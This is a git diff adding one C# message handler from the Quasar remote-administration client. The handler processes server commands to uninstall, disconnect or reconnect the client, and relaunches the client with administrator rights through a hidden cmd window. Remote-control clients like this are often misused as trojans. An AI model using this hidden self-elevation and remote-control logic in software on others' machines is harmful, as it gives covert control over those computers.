initial commit
This commit is contained in:
@@ -0,0 +1,113 @@
|
||||
using Quasar.Client.Config;
|
||||
using Quasar.Client.Networking;
|
||||
using Quasar.Client.Setup;
|
||||
using Quasar.Client.User;
|
||||
using Quasar.Client.Utilities;
|
||||
using Quasar.Common.Enums;
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ClientServicesHandler : IMessageProcessor
|
||||
{
|
||||
private readonly QuasarClient _client;
|
||||
|
||||
private readonly QuasarApplication _application;
|
||||
|
||||
public ClientServicesHandler(QuasarApplication application, QuasarClient client)
|
||||
{
|
||||
_application = application;
|
||||
_client = client;
|
||||
}
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
|
||||
message is DoClientDisconnect ||
|
||||
message is DoClientReconnect ||
|
||||
message is DoAskElevate;
|
||||
|
||||
/// <inheritdoc />
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
/// <inheritdoc />
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoClientUninstall msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientDisconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientReconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoAskElevate msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientUninstall message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Uninstalling... good bye :-(" });
|
||||
try
|
||||
{
|
||||
new ClientUninstaller().Uninstall();
|
||||
_client.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientDisconnect message)
|
||||
{
|
||||
_client.Exit();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientReconnect message)
|
||||
{
|
||||
_client.Disconnect();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoAskElevate message)
|
||||
{
|
||||
var userAccount = new UserAccount();
|
||||
if (userAccount.Type != AccountType.Admin)
|
||||
{
|
||||
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Verb = "runas",
|
||||
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true
|
||||
};
|
||||
|
||||
_application.ApplicationMutex.Dispose(); // close the mutex so the new process can run
|
||||
try
|
||||
{
|
||||
Process.Start(processStartInfo);
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus {Message = "User refused the elevation request."});
|
||||
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); // re-grab the mutex
|
||||
return;
|
||||
}
|
||||
_client.Exit();
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Process already elevated." });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user